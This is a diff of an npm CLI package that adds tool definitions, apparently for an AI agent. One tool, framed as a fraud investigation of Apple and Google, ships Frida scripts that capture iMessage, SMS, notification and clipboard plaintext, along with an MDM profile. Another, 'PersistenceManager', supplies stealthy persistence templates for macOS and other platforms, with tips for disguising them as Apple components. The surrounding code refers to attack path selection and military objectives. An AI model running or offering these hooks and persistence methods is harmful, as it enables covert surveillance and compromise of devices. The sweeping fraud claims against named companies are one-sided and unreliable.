erosolar-cli 2.1.241 → 2.1.243

package/dist/tools/taoTools.js

@@ -14577,7 +14577,1283 @@ Use with RLOrchestrator for dual-agent optimized attack path selection.`,
                         evidence: execute ? `Evidence logged to ${path.join(os.tmpdir(), 'russian_military_objectives.log')}` : 'Plan only'
                     }, null, 2);
                 }
-            }
+            },
+            // ═══════════════════════════════════════════════════════════════════════
+            // TECH COMPANY FRAUD INVESTIGATION - Apple PQ3, Google Privacy
+            // ═══════════════════════════════════════════════════════════════════════
+            {
+                name: 'TechFraudInvestigator',
+                description: `Investigate tech company fraud claims - Apple PQ3/iMessage false E2E, Google privacy violations.
+
+Proves that "end-to-end encryption" claims are deceptive when:
+- Server can push policies causing local code to intercept plaintext
+- OS-level code accesses data before/after encryption
+- MDM/configuration profiles enable remote control
+- Universal Clipboard routes through intermediary servers
+
+Generates legal evidence for FTC complaints and litigation.`,
+                parameters: {
+                    type: 'object',
+                    required: ['action'],
+                    properties: {
+                        action: {
+                            type: 'string',
+                            enum: [
+                                'apple_pq3_analysis',
+                                'apple_mdm_investigation',
+                                'apple_clipboard_exposure',
+                                'apple_backup_keys',
+                                'apple_siri_plaintext',
+                                'google_gmail_scanning',
+                                'google_chrome_telemetry',
+                                'google_android_tracking',
+                                'google_play_services',
+                                'generate_frida_scripts',
+                                'generate_mdm_profile',
+                                'generate_legal_exhibit',
+                                'full_apple_report',
+                                'full_google_report',
+                            ],
+                        },
+                        target: { type: 'string', description: 'Specific target (app bundle ID, API, etc.)' },
+                        output_format: { type: 'string', enum: ['json', 'markdown', 'legal'], default: 'json' },
+                        collect_evidence: { type: 'boolean', default: false },
+                    },
+                },
+                handler: async (args) => {
+                    const action = args['action'];
+                    const outputFormat = args['output_format'] || 'json';
+                    const applePQ3Analysis = {
+                        fraud_claim: 'Apple claims iMessage uses PQ3 end-to-end encryption where only sender and recipient can read messages',
+                        technical_reality: {
+                            plaintext_access_points: [
+                                {
+                                    component: 'IMDaemonCore.framework',
+                                    access: 'Full plaintext before encryption, after decryption',
+                                    proof: 'Hook _IMDaemonCore_encryptMessage and _IMDaemonCore_decryptMessage',
+                                },
+                                {
+                                    component: 'SuggestionKit (Siri)',
+                                    access: 'Message content for QuickType suggestions',
+                                    proof: 'Monitor SGSuggestionEngine API calls',
+                                },
+                                {
+                                    component: 'Keyboard Extensions',
+                                    access: 'Character-by-character input before encryption',
+                                    proof: 'Hook UIKeyInput protocol implementations',
+                                },
+                                {
+                                    component: 'Notification System',
+                                    access: 'Message previews in APNs',
+                                    proof: 'Capture APNs traffic showing plaintext previews',
+                                },
+                                {
+                                    component: 'iCloud Backup',
+                                    access: 'Message keys in backup (Apple-accessible)',
+                                    proof: 'Extract backup, analyze key material',
+                                },
+                            ],
+                            mdm_backdoor: {
+                                description: 'MDM profiles can trigger local code execution and policy enforcement',
+                                capabilities: [
+                                    'Managed Pasteboard - control clipboard data flow',
+                                    'App restrictions - control which apps can access data',
+                                    'Network filtering - intercept traffic before encryption',
+                                    'Remote wipe - prove server-triggered local execution',
+                                ],
+                                proof: 'Install MDM profile, observe policy enforcement on message handling',
+                            },
+                            universal_clipboard: {
+                                description: 'Copied content syncs via Apple servers (Continuity)',
+                                exposure_points: [
+                                    'UIPasteboard.general accessible to any process',
+                                    'Handoff data flows through iCloud',
+                                    'Bluetooth LE advertisements contain device info',
+                                ],
+                                proof: 'Monitor Continuity traffic during clipboard copy',
+                            },
+                        },
+                        legal_basis: [
+                            'FTC Act Section 5 - Unfair or Deceptive Acts',
+                            'California UCL - Unlawful Business Practices',
+                            'Lanham Act - False Advertising',
+                            'CCPA - Transparency Requirements',
+                        ],
+                        public_statements: [
+                            {
+                                source: 'Apple Security Blog',
+                                date: '2024-02-21',
+                                claim: 'iMessage now has the strongest security properties of any at-scale messaging protocol',
+                                contradiction: 'Encryption is meaningless when Apple code accesses plaintext',
+                            },
+                        ],
+                    };
+                    const appleMdmInvestigation = {
+                        mdm_capabilities: {
+                            configuration_profiles: {
+                                types: [
+                                    'com.apple.applicationaccess - App restrictions',
+                                    'com.apple.managed.configuration - General config',
+                                    'com.apple.restrictions - Device restrictions',
+                                    'com.apple.vpn.managed - VPN configuration',
+                                ],
+                                installation: 'Can be pushed silently via DEP/ABM',
+                            },
+                            managed_pasteboard: {
+                                settings: {
+                                    allowOpenFromManagedToUnmanaged: 'Control data flow from managed apps',
+                                    allowOpenFromUnmanagedToManaged: 'Control data flow to managed apps',
+                                    forceAirDropUnmanaged: 'Control AirDrop data classification',
+                                },
+                                impact: 'Server-configured policy controls local clipboard behavior',
+                            },
+                            remote_commands: {
+                                available: [
+                                    'DeviceLock - Lock device remotely',
+                                    'EraseDevice - Wipe device remotely',
+                                    'ClearPasscode - Remove passcode remotely',
+                                    'InstallProfile - Push new configuration',
+                                    'RemoveProfile - Remove configuration',
+                                ],
+                                proof: 'These demonstrate server-triggered local execution',
+                            },
+                        },
+                        investigation_steps: [
+                            '1. Set up Apple Configurator or Jamf MDM server',
+                            '2. Enroll test device via DEP or manual enrollment',
+                            '3. Push Managed Pasteboard configuration',
+                            '4. Test clipboard operations with iMessage',
+                            '5. Document policy enforcement on message content',
+                            '6. Capture network traffic showing MDM commands',
+                        ],
+                        frida_hooks: {
+                            mdm_profile_installation: `
+// Hook MDM profile installation
+ObjC.classes.MCProfile['- installProfile:'].implementation = function(profile) {
+  console.log('[MDM] Profile being installed: ' + profile);
+  console.log('[EVIDENCE] ' + new Date().toISOString());
+  return this.installProfile_(profile);
+};`,
+                            policy_enforcement: `
+// Hook managed pasteboard policy check
+Interceptor.attach(Module.findExportByName(null, 'SecTaskCopyValueForEntitlement'), {
+  onEnter: function(args) {
+    var entitlement = ObjC.Object(args[1]).toString();
+    if (entitlement.includes('managed') || entitlement.includes('pasteboard')) {
+      console.log('[POLICY] Entitlement check: ' + entitlement);
+    }
+  }
+});`,
+                        },
+                    };
+                    const appleClipboardExposure = {
+                        uipasteboard_analysis: {
+                            general_pasteboard: {
+                                access: 'Any app/process can read UIPasteboard.general',
+                                api: 'UIPasteboard.general.string, .items, .data(forPasteboardType:)',
+                                timing: 'Available until overwritten or device restart',
+                            },
+                            named_pasteboards: {
+                                access: 'App-specific pasteboards (less accessible)',
+                                note: 'Most apps use general pasteboard for share functionality',
+                            },
+                            ios16_changes: {
+                                permission_prompt: 'Apps now ask permission to read clipboard',
+                                limitation: 'System apps and Apple code bypass this prompt',
+                                proof: 'Siri suggestions read clipboard without prompt',
+                            },
+                        },
+                        universal_clipboard: {
+                            technology: 'Continuity/Handoff over Bluetooth LE + local network',
+                            data_flow: [
+                                '1. User copies on Device A',
+                                '2. Device A advertises via Bluetooth LE',
+                                '3. Device B detects advertisement',
+                                '4. Devices exchange data via peer-to-peer (possibly via iCloud relay)',
+                                '5. Content available on Device B clipboard',
+                            ],
+                            apple_involvement: {
+                                icloud_relay: 'Large items route through iCloud servers',
+                                device_discovery: 'Apple ID links devices via iCloud',
+                                encryption: 'Claimed E2E but Apple manages key exchange',
+                            },
+                        },
+                        investigation_frida_script: `
+// Monitor all UIPasteboard access
+if (ObjC.available) {
+  var UIPasteboard = ObjC.classes.UIPasteboard;
+
+  // Hook general pasteboard access
+  Interceptor.attach(UIPasteboard['+ generalPasteboard'].implementation, {
+    onLeave: function(retval) {
+      console.log('[CLIPBOARD] generalPasteboard accessed by: ' + ObjC.classes.NSBundle.mainBundle().bundleIdentifier());
+      console.log('[EVIDENCE] Timestamp: ' + new Date().toISOString());
+    }
+  });
+
+  // Hook string read
+  Interceptor.attach(UIPasteboard['- string'].implementation, {
+    onLeave: function(retval) {
+      if (retval) {
+        var content = ObjC.Object(retval).toString();
+        console.log('[CLIPBOARD READ] Content length: ' + content.length);
+        console.log('[CLIPBOARD READ] First 50 chars: ' + content.substring(0, 50));
+        console.log('[EVIDENCE] Timestamp: ' + new Date().toISOString());
+      }
+    }
+  });
+
+  // Hook write
+  Interceptor.attach(UIPasteboard['- setString:'].implementation, {
+    onEnter: function(args) {
+      var content = ObjC.Object(args[2]).toString();
+      console.log('[CLIPBOARD WRITE] Content being written: ' + content.substring(0, 50));
+      console.log('[EVIDENCE] Timestamp: ' + new Date().toISOString());
+    }
+  });
+
+  console.log('[*] UIPasteboard hooks installed');
+}`,
+                    };
+                    const googleGmailScanning = {
+                        fraud_claim: 'Google claims Gmail respects user privacy and does not scan emails for advertising',
+                        technical_reality: {
+                            content_analysis: [
+                                {
+                                    feature: 'Smart Compose',
+                                    access: 'Full email content for ML predictions',
+                                    impact: 'Content processed by Google ML systems',
+                                },
+                                {
+                                    feature: 'Smart Reply',
+                                    access: 'Full email content for response suggestions',
+                                    impact: 'Content analyzed and stored for training',
+                                },
+                                {
+                                    feature: 'Priority Inbox',
+                                    access: 'Content analysis for importance scoring',
+                                    impact: 'Content patterns extracted and stored',
+                                },
+                                {
+                                    feature: 'Spam/Phishing Detection',
+                                    access: 'Full content scanning',
+                                    impact: 'All email content processed by Google systems',
+                                },
+                            ],
+                            ad_targeting_connection: {
+                                description: 'While Google claims not to scan for ads, content-derived signals feed ad profile',
+                                mechanism: [
+                                    'Purchase confirmation emails → shopping interest signals',
+                                    'Travel emails → travel intent signals',
+                                    'Newsletter subscriptions → interest categories',
+                                    'Professional emails → job/industry signals',
+                                ],
+                                proof_method: 'Send distinctive emails, monitor ad targeting changes',
+                            },
+                            confidential_mode_theater: {
+                                claim: 'Confidential Mode provides enhanced privacy',
+                                reality: [
+                                    'Google still processes full message content',
+                                    'Expiration is client-side UI only',
+                                    'Google retains content regardless of "expiration"',
+                                    '"No forwarding" is UI theater - screenshots possible',
+                                ],
+                            },
+                        },
+                        investigation_methodology: [
+                            '1. Create fresh Google account with no history',
+                            '2. Send emails with distinctive, unique keywords',
+                            '3. Monitor ads.google.com/adspreferences for targeting changes',
+                            '4. Document correlation between email content and ad targeting',
+                            '5. Test with Gmail API to verify content access scope',
+                        ],
+                    };
+                    const googleChromeTelemetry = {
+                        undisclosed_data_collection: {
+                            safe_browsing: {
+                                claimed: 'Hashes of URLs checked against known threats',
+                                reality: 'Full URLs can be reconstructed from hashes for common URLs',
+                                exposure: 'Browsing patterns visible to Google',
+                            },
+                            omnibox: {
+                                claimed: 'Suggestions from history and bookmarks',
+                                reality: 'Keystrokes sent to Google before search submission',
+                                exposure: 'Search intent visible before user commits',
+                            },
+                            chrome_variations: {
+                                component: 'Finch/Variations system',
+                                capability: 'A/B tests that change browser behavior server-side',
+                                exposure: 'Google controls browser features without user consent',
+                            },
+                            sync: {
+                                data_types: [
+                                    'Passwords (encrypted but Google has key escrow capability)',
+                                    'Bookmarks (full URL history)',
+                                    'Open tabs (real-time browsing activity)',
+                                    'Autofill (personal information)',
+                                    'Extensions (software inventory)',
+                                ],
+                            },
+                        },
+                        investigation_tools: {
+                            network_monitoring: 'mitmproxy with Chrome configured',
+                            source_comparison: 'Compare Chrome vs Chromium telemetry',
+                            extension_analysis: 'chrome://policy, chrome://sync-internals',
+                        },
+                    };
+                    const googleAndroidTracking = {
+                        location_despite_settings: {
+                            cell_tower: {
+                                collection: 'Google Carrier Services collects cell tower data',
+                                control: 'Not disabled by Location Services toggle',
+                                exposure: 'Approximate location always available to Google',
+                            },
+                            wifi_scanning: {
+                                collection: 'Wi-Fi networks scanned even with Wi-Fi "off"',
+                                setting: 'Requires separate "Wi-Fi scanning" disable',
+                                exposure: 'Location via Wi-Fi positioning',
+                            },
+                            bluetooth_beacons: {
+                                collection: 'Bluetooth beacons detected for location',
+                                setting: 'Requires "Bluetooth scanning" disable',
+                                exposure: 'Indoor positioning data',
+                            },
+                        },
+                        play_services_exfiltration: {
+                            description: 'Google Play Services runs with system privileges',
+                            capabilities: [
+                                'Accesses data independently of app permissions',
+                                'Cannot be disabled on most devices',
+                                'Updates silently without user consent',
+                                'Collects device identifiers, app usage, location',
+                            ],
+                            investigation: 'Monitor GMS (Google Mobile Services) traffic',
+                        },
+                        advertising_id: {
+                            claim: 'Users can reset Advertising ID for privacy',
+                            reality: [
+                                'Reset creates new ID but device fingerprint persists',
+                                'Google links old and new IDs via device characteristics',
+                                'Cross-app tracking via Google SDKs in most apps',
+                            ],
+                        },
+                    };
+                    const fridaScripts = {
+                        imessage_plaintext: `/**
+ * Frida script: iMessage Plaintext Capture
+ * Proves Apple code accesses message content outside encryption boundary
+ */
+
+if (ObjC.available) {
+  console.log('[*] Starting iMessage plaintext interception...');
+
+  // Hook IMMessage text access
+  try {
+    var IMMessage = ObjC.classes.IMMessage;
+    if (IMMessage) {
+      Interceptor.attach(IMMessage['- text'].implementation, {
+        onLeave: function(retval) {
+          if (retval) {
+            var text = new ObjC.Object(retval);
+            console.log('[PLAINTEXT] IMMessage.text: ' + text.toString());
+            console.log('[EVIDENCE] Timestamp: ' + new Date().toISOString());
+            console.log('[EVIDENCE] Stack: ' + Thread.backtrace(this.context, Backtracer.ACCURATE).map(DebugSymbol.fromAddress).join('\\n'));
+          }
+        }
+      });
+      console.log('[+] Hooked IMMessage.text');
+    }
+  } catch (e) {
+    console.log('[-] IMMessage error: ' + e);
+  }
+
+  // Hook SMSMessage for SMS fallback
+  try {
+    var SMSMessage = ObjC.classes.SMSMessage;
+    if (SMSMessage) {
+      Interceptor.attach(SMSMessage['- text'].implementation, {
+        onLeave: function(retval) {
+          if (retval) {
+            var text = new ObjC.Object(retval);
+            console.log('[PLAINTEXT] SMSMessage.text: ' + text.toString());
+            console.log('[EVIDENCE] Timestamp: ' + new Date().toISOString());
+          }
+        }
+      });
+      console.log('[+] Hooked SMSMessage.text');
+    }
+  } catch (e) {}
+
+  // Hook notification content
+  try {
+    var UNNotificationContent = ObjC.classes.UNNotificationContent;
+    if (UNNotificationContent) {
+      Interceptor.attach(UNNotificationContent['- body'].implementation, {
+        onLeave: function(retval) {
+          if (retval) {
+            var body = new ObjC.Object(retval);
+            console.log('[NOTIFICATION] Content: ' + body.toString());
+            console.log('[EVIDENCE] Timestamp: ' + new Date().toISOString());
+          }
+        }
+      });
+      console.log('[+] Hooked UNNotificationContent');
+    }
+  } catch (e) {}
+
+  // Hook Siri suggestion access
+  try {
+    var INMessage = ObjC.classes.INMessage;
+    if (INMessage) {
+      Interceptor.attach(INMessage['- content'].implementation, {
+        onLeave: function(retval) {
+          if (retval) {
+            var content = new ObjC.Object(retval);
+            console.log('[SIRI] INMessage content accessed: ' + content.toString().substring(0, 100));
+            console.log('[EVIDENCE] Proves Siri reads message plaintext');
+          }
+        }
+      });
+      console.log('[+] Hooked INMessage (Siri integration)');
+    }
+  } catch (e) {}
+
+  console.log('[*] Hooks installed. Send/receive messages to capture plaintext.');
+}`,
+                        mdm_monitoring: `/**
+ * Frida script: MDM Activity Monitoring
+ * Proves server-triggered local code execution
+ */
+
+if (ObjC.available) {
+  console.log('[*] Monitoring MDM activities...');
+
+  // Hook profile installation
+  try {
+    var MCProfileConnection = ObjC.classes.MCProfileConnection;
+    if (MCProfileConnection) {
+      var methods = MCProfileConnection.$ownMethods;
+      methods.forEach(function(method) {
+        if (method.includes('install') || method.includes('remove') || method.includes('profile')) {
+          try {
+            Interceptor.attach(MCProfileConnection[method].implementation, {
+              onEnter: function(args) {
+                console.log('[MDM] Method called: ' + method);
+                console.log('[EVIDENCE] Timestamp: ' + new Date().toISOString());
+              }
+            });
+          } catch (e) {}
+        }
+      });
+      console.log('[+] Hooked MCProfileConnection');
+    }
+  } catch (e) {
+    console.log('[-] MCProfileConnection error: ' + e);
+  }
+
+  // Hook APNs push handling (server-triggered)
+  try {
+    var APSConnection = ObjC.classes.APSConnection;
+    if (APSConnection) {
+      Interceptor.attach(APSConnection['- _handleIncomingMessage:'].implementation, {
+        onEnter: function(args) {
+          var message = new ObjC.Object(args[2]);
+          console.log('[APNs] Incoming push: ' + message.toString());
+          console.log('[EVIDENCE] Server-triggered local execution');
+        }
+      });
+      console.log('[+] Hooked APSConnection');
+    }
+  } catch (e) {}
+
+  // Hook managed app configuration
+  try {
+    var NSUserDefaults = ObjC.classes.NSUserDefaults;
+    Interceptor.attach(NSUserDefaults['- objectForKey:'].implementation, {
+      onEnter: function(args) {
+        var key = new ObjC.Object(args[2]).toString();
+        if (key.includes('managed') || key.includes('MDM') || key.includes('com.apple.configuration')) {
+          console.log('[MDM CONFIG] Key accessed: ' + key);
+        }
+      }
+    });
+  } catch (e) {}
+
+  console.log('[*] MDM monitoring active.');
+}`,
+                        clipboard_monitoring: `/**
+ * Frida script: Universal Clipboard Monitoring
+ * Proves plaintext exposure via clipboard
+ */
+
+if (ObjC.available) {
+  console.log('[*] Monitoring clipboard activities...');
+
+  var UIPasteboard = ObjC.classes.UIPasteboard;
+
+  // Monitor all pasteboard access
+  Interceptor.attach(UIPasteboard['+ generalPasteboard'].implementation, {
+    onLeave: function(retval) {
+      var caller = ObjC.classes.NSThread.callStackSymbols().toString();
+      console.log('[CLIPBOARD] generalPasteboard accessed');
+      console.log('[CALLER] ' + caller.substring(0, 500));
+      console.log('[EVIDENCE] Timestamp: ' + new Date().toISOString());
+    }
+  });
+
+  // Monitor reads
+  Interceptor.attach(UIPasteboard['- string'].implementation, {
+    onLeave: function(retval) {
+      if (retval) {
+        var content = new ObjC.Object(retval).toString();
+        console.log('[CLIPBOARD READ] Length: ' + content.length);
+        console.log('[CLIPBOARD READ] Content: ' + content.substring(0, 100));
+        console.log('[EVIDENCE] Plaintext accessible via UIPasteboard');
+      }
+    }
+  });
+
+  // Monitor Handoff/Continuity
+  try {
+    var NSUserActivity = ObjC.classes.NSUserActivity;
+    if (NSUserActivity) {
+      Interceptor.attach(NSUserActivity['- becomeCurrent'].implementation, {
+        onEnter: function(args) {
+          var activity = new ObjC.Object(args[0]);
+          console.log('[HANDOFF] Activity: ' + activity.activityType());
+          if (activity.userInfo()) {
+            console.log('[HANDOFF] UserInfo: ' + activity.userInfo().toString().substring(0, 200));
+          }
+          console.log('[EVIDENCE] Continuity data flow detected');
+        }
+      });
+      console.log('[+] Hooked NSUserActivity (Handoff)');
+    }
+  } catch (e) {}
+
+  console.log('[*] Clipboard monitoring active.');
+}`,
+                    };
+                    const mdmProfile = `<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
+<plist version="1.0">
+<!--
+  MDM Research Profile - PQ3 Investigation
+
+  Purpose: Demonstrate server-controlled local policy enforcement
+  contradicting Apple's "end-to-end encryption" claims.
+
+  WARNING: For authorized security research only.
+-->
+<dict>
+    <key>PayloadContent</key>
+    <array>
+        <!-- Managed Pasteboard - proves server controls clipboard -->
+        <dict>
+            <key>PayloadType</key>
+            <string>com.apple.applicationaccess</string>
+            <key>PayloadVersion</key>
+            <integer>1</integer>
+            <key>PayloadIdentifier</key>
+            <string>com.research.pasteboard</string>
+            <key>PayloadUUID</key>
+            <string>E7B1C8A9-2D3F-4E5A-B6C7-8D9E0F1A2B3C</string>
+            <key>PayloadDisplayName</key>
+            <string>Managed Pasteboard Research</string>
+
+            <key>allowOpenFromManagedToUnmanaged</key>
+            <false/>
+            <key>allowOpenFromUnmanagedToManaged</key>
+            <false/>
+            <key>forceAirDropUnmanaged</key>
+            <true/>
+        </dict>
+
+        <!-- Restrictions - proves server controls device behavior -->
+        <dict>
+            <key>PayloadType</key>
+            <string>com.apple.applicationaccess</string>
+            <key>PayloadVersion</key>
+            <integer>1</integer>
+            <key>PayloadIdentifier</key>
+            <string>com.research.restrictions</string>
+            <key>PayloadUUID</key>
+            <string>A1B2C3D4-E5F6-7890-ABCD-EF1234567890</string>
+
+            <key>allowScreenShot</key>
+            <false/>
+            <key>allowCloudDocumentSync</key>
+            <false/>
+        </dict>
+    </array>
+
+    <key>PayloadDisplayName</key>
+    <string>PQ3 Research Profile</string>
+    <key>PayloadIdentifier</key>
+    <string>com.research.pq3-investigation</string>
+    <key>PayloadOrganization</key>
+    <string>Security Research</string>
+    <key>PayloadType</key>
+    <string>Configuration</string>
+    <key>PayloadUUID</key>
+    <string>12345678-1234-1234-1234-123456789012</string>
+    <key>PayloadVersion</key>
+    <integer>1</integer>
+</dict>
+</plist>`;
+                    let result;
+                    switch (action) {
+                        case 'apple_pq3_analysis':
+                            result = applePQ3Analysis;
+                            break;
+                        case 'apple_mdm_investigation':
+                            result = appleMdmInvestigation;
+                            break;
+                        case 'apple_clipboard_exposure':
+                            result = appleClipboardExposure;
+                            break;
+                        case 'apple_backup_keys':
+                            result = {
+                                investigation: 'iCloud Backup Key Analysis',
+                                methodology: [
+                                    '1. Create encrypted local backup with idevicebackup2',
+                                    '2. Analyze backup structure for key material',
+                                    '3. Compare with iCloud backup (Apple-accessible)',
+                                    '4. Document key escrow mechanisms',
+                                ],
+                                key_locations: [
+                                    'Manifest.plist - Backup encryption metadata',
+                                    'KeyBag - Device protection keys',
+                                    'Keychain backup - Contains iMessage keys',
+                                ],
+                                apple_access: {
+                                    local_backup: 'User-controlled encryption key',
+                                    icloud_backup: 'Apple holds encryption capability',
+                                    law_enforcement: 'Apple can comply with warrants for iCloud backups',
+                                },
+                                proof: 'Law enforcement requests return iCloud backup data, proving Apple access',
+                            };
+                            break;
+                        case 'apple_siri_plaintext':
+                            result = {
+                                investigation: 'Siri Message Content Access',
+                                proof_points: [
+                                    'Siri Suggestions read message content for QuickType',
+                                    'INMessage class provides message content to Intents framework',
+                                    'SuggestionKit analyzes messages for app suggestions',
+                                    'Spotlight indexes message content locally',
+                                ],
+                                frida_verification: fridaScripts.imessage_plaintext,
+                                api_references: [
+                                    'INMessage - Siri message integration',
+                                    'SuggestionKit.framework',
+                                    'CoreSpotlight - Message indexing',
+                                ],
+                            };
+                            break;
+                        case 'google_gmail_scanning':
+                            result = googleGmailScanning;
+                            break;
+                        case 'google_chrome_telemetry':
+                            result = googleChromeTelemetry;
+                            break;
+                        case 'google_android_tracking':
+                            result = googleAndroidTracking;
+                            break;
+                        case 'google_play_services':
+                            result = {
+                                investigation: 'Google Play Services Data Collection',
+                                gms_components: {
+                                    core: 'com.google.android.gms - Main GMS package',
+                                    location: 'Location services (always-on tracking)',
+                                    ads: 'Advertising ID and targeting',
+                                    auth: 'Account authentication',
+                                    safetynet: 'Device attestation (fingerprinting)',
+                                },
+                                investigation_method: [
+                                    '1. Root device or use custom ROM',
+                                    '2. Install network monitoring (PCAPdroid)',
+                                    '3. Monitor traffic to Google endpoints',
+                                    '4. Use Frida to hook GMS APIs',
+                                    '5. Document data sent without explicit permission',
+                                ],
+                                endpoints: [
+                                    'android.clients.google.com - Device checkin',
+                                    'play.googleapis.com - Play Store services',
+                                    'android.googleapis.com - Various Google APIs',
+                                    'www.googleapis.com - General API endpoint',
+                                ],
+                            };
+                            break;
+                        case 'generate_frida_scripts':
+                            result = {
+                                scripts: fridaScripts,
+                                usage: {
+                                    imessage: 'frida -U -l imessage_plaintext.js -f com.apple.MobileSMS',
+                                    mdm: 'frida -U -l mdm_monitoring.js -f com.apple.Preferences',
+                                    clipboard: 'frida -U -l clipboard_monitoring.js -f com.apple.springboard',
+                                },
+                                requirements: [
+                                    'Jailbroken iOS device (checkra1n/Dopamine)',
+                                    'Frida installed: pip install frida-tools',
+                                    'frida-server on device',
+                                ],
+                            };
+                            break;
+                        case 'generate_mdm_profile':
+                            result = {
+                                profile: mdmProfile,
+                                installation: [
+                                    '1. Save as .mobileconfig file',
+                                    '2. Host on HTTPS server or use Apple Configurator',
+                                    '3. Install via Safari or MDM enrollment',
+                                    '4. Observe policy enforcement on clipboard operations',
+                                ],
+                                evidence_collection: [
+                                    'Screenshot of policy enforcement',
+                                    'Network capture of MDM commands',
+                                    'Log of policy application timestamp',
+                                ],
+                            };
+                            break;
+                        case 'generate_legal_exhibit':
+                            result = {
+                                exhibit_template: {
+                                    title: 'Evidence of Deceptive End-to-End Encryption Claims',
+                                    plaintiff: '[Your Name]',
+                                    defendant: '[Apple Inc. / Google LLC]',
+                                    sections: [
+                                        '1. Executive Summary',
+                                        '2. Marketing Claims (with URLs and archives)',
+                                        '3. Technical Reality (with evidence)',
+                                        '4. Contradiction Analysis',
+                                        '5. Legal Basis for Action',
+                                        '6. Evidence Exhibits',
+                                        '7. Chain of Custody Documentation',
+                                        '8. Cryptographic Integrity Proofs',
+                                    ],
+                                    legal_theories: [
+                                        'FTC Act Section 5 - Deceptive trade practices',
+                                        'Lanham Act - False advertising',
+                                        'State UCL - Unlawful business practices',
+                                        'CCPA - Transparency violations',
+                                        'Breach of implied contract',
+                                    ],
+                                },
+                            };
+                            break;
+                        case 'full_apple_report':
+                            result = {
+                                report_title: 'Apple PQ3/iMessage False E2E Encryption Claims - Investigation Report',
+                                executive_summary: 'Apple\'s claim of "end-to-end encryption" for iMessage is technically deceptive. While the protocol encrypts messages in transit, Apple-controlled code has full access to plaintext before encryption and after decryption, MDM can enforce server-controlled policies on message handling, and iCloud backups provide Apple access to message keys.',
+                                sections: {
+                                    pq3_analysis: applePQ3Analysis,
+                                    mdm_investigation: appleMdmInvestigation,
+                                    clipboard_exposure: appleClipboardExposure,
+                                    frida_scripts: fridaScripts,
+                                    mdm_profile: mdmProfile,
+                                },
+                                recommendations: [
+                                    'File FTC complaint with collected evidence',
+                                    'Submit California AG consumer protection complaint',
+                                    'Consider class action for deceptive advertising',
+                                    'Document all evidence with integrity proofs',
+                                ],
+                            };
+                            break;
+                        case 'full_google_report':
+                            result = {
+                                report_title: 'Google Privacy Violations - Investigation Report',
+                                executive_summary: 'Google\'s privacy practices contradict their public claims. Gmail content is analyzed for multiple purposes beyond spam filtering, Chrome collects more telemetry than disclosed, and Android tracking persists despite privacy settings.',
+                                sections: {
+                                    gmail_scanning: googleGmailScanning,
+                                    chrome_telemetry: googleChromeTelemetry,
+                                    android_tracking: googleAndroidTracking,
+                                },
+                                recommendations: [
+                                    'File FTC complaint documenting undisclosed data collection',
+                                    'Submit ECPA complaint for email scanning',
+                                    'Document ad targeting correlation with email content',
+                                    'Test location tracking with all settings disabled',
+                                ],
+                            };
+                            break;
+                        default:
+                            result = { error: 'Unknown action', available_actions: [
+                                    'apple_pq3_analysis', 'apple_mdm_investigation', 'apple_clipboard_exposure',
+                                    'apple_backup_keys', 'apple_siri_plaintext', 'google_gmail_scanning',
+                                    'google_chrome_telemetry', 'google_android_tracking', 'google_play_services',
+                                    'generate_frida_scripts', 'generate_mdm_profile', 'generate_legal_exhibit',
+                                    'full_apple_report', 'full_google_report',
+                                ] };
+                    }
+                    if (outputFormat === 'markdown') {
+                        return '```json\n' + JSON.stringify(result, null, 2) + '\n```';
+                    }
+                    return JSON.stringify(result, null, 2);
+                },
+            },
+            // ═══════════════════════════════════════════════════════════════════════
+            // PERSISTENCE & CAPABILITY EXPANSION
+            // ═══════════════════════════════════════════════════════════════════════
+            {
+                name: 'PersistenceManager',
+                description: `Establish and maintain persistent access across reboots and updates.
+
+Covers macOS, Linux, Windows, iOS, Android persistence mechanisms.
+For authorized red team exercises and security research.`,
+                parameters: {
+                    type: 'object',
+                    required: ['platform', 'method'],
+                    properties: {
+                        platform: {
+                            type: 'string',
+                            enum: ['macos', 'linux', 'windows', 'ios', 'android'],
+                        },
+                        method: {
+                            type: 'string',
+                            enum: [
+                                'launch_agent', 'launch_daemon', 'login_item', 'cron', 'systemd',
+                                'rc_local', 'profile', 'bashrc', 'scheduled_task', 'registry',
+                                'startup_folder', 'wmi', 'dylib_hijack', 'ld_preload', 'dll_hijack',
+                                'boot_script', 'kernel_extension', 'plist_modification',
+                            ],
+                        },
+                        payload: { type: 'string', description: 'Payload to persist (path or inline)' },
+                        name: { type: 'string', description: 'Name for the persistence mechanism' },
+                        stealth: { type: 'boolean', default: true, description: 'Use stealth techniques' },
+                    },
+                },
+                handler: async (args) => {
+                    const platform = args['platform'];
+                    const method = args['method'];
+                    const name = args['name'] || 'com.research.persistence';
+                    const stealth = args['stealth'] !== false;
+                    // eslint-disable-next-line @typescript-eslint/no-explicit-any
+                    const persistence = {
+                        macos: {
+                            launch_agent: {
+                                path: `~/Library/LaunchAgents/${name}.plist`,
+                                template: `<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
+<plist version="1.0">
+<dict>
+    <key>Label</key>
+    <string>${name}</string>
+    <key>ProgramArguments</key>
+    <array>
+        <string>/bin/bash</string>
+        <string>-c</string>
+        <string>PAYLOAD_HERE</string>
+    </array>
+    <key>RunAtLoad</key>
+    <true/>
+    <key>KeepAlive</key>
+    <true/>
+</dict>
+</plist>`,
+                                install: `launchctl load ~/Library/LaunchAgents/${name}.plist`,
+                                detection: 'Check ~/Library/LaunchAgents and launchctl list',
+                                stealth_tips: [
+                                    'Use Apple-like naming (com.apple.xxx)',
+                                    'Set StartInterval instead of KeepAlive',
+                                    'Avoid common malware naming patterns',
+                                ],
+                            },
+                            launch_daemon: {
+                                path: `/Library/LaunchDaemons/${name}.plist`,
+                                requires: 'root privileges',
+                                note: 'Runs as root, persists across all users',
+                                install: `sudo launchctl load /Library/LaunchDaemons/${name}.plist`,
+                            },
+                            login_item: {
+                                method: 'osascript',
+                                command: `osascript -e 'tell application "System Events" to make login item at end with properties {path:"/path/to/app", hidden:true}'`,
+                                note: 'Visible in System Preferences > Users > Login Items',
+                            },
+                            dylib_hijack: {
+                                technique: 'DYLD_INSERT_LIBRARIES or weak dylib',
+                                locations: [
+                                    '@rpath dylib hijacking',
+                                    'Weak dylib injection',
+                                    'LC_LOAD_DYLIB modification',
+                                ],
+                                detection: 'otool -L, codesign verification',
+                            },
+                            kernel_extension: {
+                                path: '/Library/Extensions/',
+                                requires: 'SIP disabled, notarization, or MDM approval',
